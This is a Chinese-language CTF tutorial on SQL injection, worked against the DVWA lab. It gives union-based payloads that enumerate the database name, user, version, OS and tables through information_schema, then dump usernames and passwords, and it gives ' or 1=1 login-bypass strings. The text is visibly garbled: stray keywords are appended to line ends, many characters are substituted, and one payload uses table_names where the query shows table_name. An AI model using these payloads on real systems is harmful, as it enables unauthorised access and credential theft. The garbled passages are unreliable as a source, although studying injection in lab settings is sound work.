CTF之SQL注入詳解

       前言:最近打算玩一下CTF,玩過CTF的都知道SQL注入是CTF中最重要的題型。可是。。。。。。。。。不少大佬的WP都是一陣操做猛如虎。不少都不帶解釋的(大佬以爲簡單因此就不解釋了=_= =_= =_=)。因此這幾天一直都在看關於SQL注入的文章,一直也不理解SQL注入的原理。今天恰好看到了一篇文章,本身也跟着那個博主的思路總結一下,對SQL注入有了一個大概的的理解。寫這篇博文一是但願加深本身對SQL注入的理解二也但願能幫助那些還不是特別理解SQL注入的人mysql

      參考 連接 https://www.jianshu.com/p/078df7a35671linux

     

   SQL注入sql

一.  Sql注入入門知識點總結數據庫

  1. 猜解數據庫

1)     設想這樣的一個場景當咱們要輸入一個用戶id,咱們輸入欄中輸入1ubuntu

這時候其實在後臺執行的代碼爲服務器

SELECT first_name, last_name FROM users WHERE user_id = '1';網站

2)     若是咱們不按常理出牌而是在輸入框中輸入1‘ order by 1#操作系統

那麼這時候後臺執行的代碼就變成了:orm

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的語法#起註釋做用因此#後面的單引號就被註釋掉了)blog

當咱們輸入order by 1的時候可能不會報錯那麼咱們這時候能夠嘗試 23456,直到報錯爲止

       假如當數字等於3的時候報錯,那說明當前表只有兩個字段而且只有2列

  1. 接下來使用union select 聯合查詢繼續獲取信息

Union select運算符能夠將兩個或者兩個以上的select語句查詢結果集合合併成一個結果集合顯示,即執行聯合查詢須要注意的是使用union查詢的時候須要和主查詢的列數相等,並且咱們以前已經知道主查詢的列數是2,接下來就好辦了

1)     這時候咱們輸入1‘ union select database(),user()#進行查詢

l  Database()將會返回當前網站所使用的數據庫名字

l  User()將會返回執行當前查詢的用戶名

實際執行的sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;

 

       經過查詢的結果咱們能夠清晰的看出

u  當前執行查詢用戶名爲root@localhost

u  當前使用的數據庫是dvwa

2)     接下來咱們嘗試獲取輸入1' union select version(),@@version_compile_os#進行查詢

u  version() 獲取當前數據庫版本.

u  @@version_compile_os 獲取當前操做系統

實際執行的sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

 

         db的版本以及操做系統的類型

u  當前數據庫版本爲 : 5.6.31-0ubuntu0.15.10.1.

u  當前操做系統爲 : debian-linux-gnu

3)     接下來咱們嘗試獲取dvwa數據庫中表名

information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器全部數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名爲 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。

       咱們輸入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #

       實際執行的的sql語句是:

       SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

 

        經過查詢的結果咱們能夠清晰的看出

l  Dvwa數據庫有兩個數據表,分別是guestbook,和users

4)     接下來咱們嘗試獲取重量級用戶名和密碼

由經驗咱們能夠大膽猜想users數據表裏面的字段是user 和password因此輸入:

1’ union select user,password from users #

實際執行的的sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

經過查詢的結果咱們能夠清晰的看出

l  用戶名以及密碼

 

二.  Sql注入實驗二驗證繞過

  1. 接下來咱們將看下面的登錄頁面 

   如過咱們隨便輸入 好比 23 232 這時候會報錯

  1. 怎麼作能繞過登錄頁面呢?

咱們能夠嘗試輸入 123 ‘ or 1=1 123 ‘ or 1=1

這時候咱們能夠看到

 

這時候咱們不由會想爲何呢?下面咱們就來分析一下

實際執行的的sql語句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照mysql的語法#後面的東西會被忽略掉因此即使咱們即使輸入 ‘ or 1=1 #(密碼欄不輸入東西結果也是同樣的)

因爲判斷語句 or 1=1 恆成立因此無論前面輸入的什麼都能成功登錄

咱們不在嘗試使用#屏蔽單引號,採用手動閉合式

123‘ or ‘1’ =’1 這樣一樣能登錄成功

 

後記:SQL注入須要大量的練習以及經驗的總結,這裏僅僅介紹了一些最基本的一些玩法,後面若是遇到一些好玩的注入我也會在這裏分享。

 未完待續。。。。

相關文章
相關標籤/搜索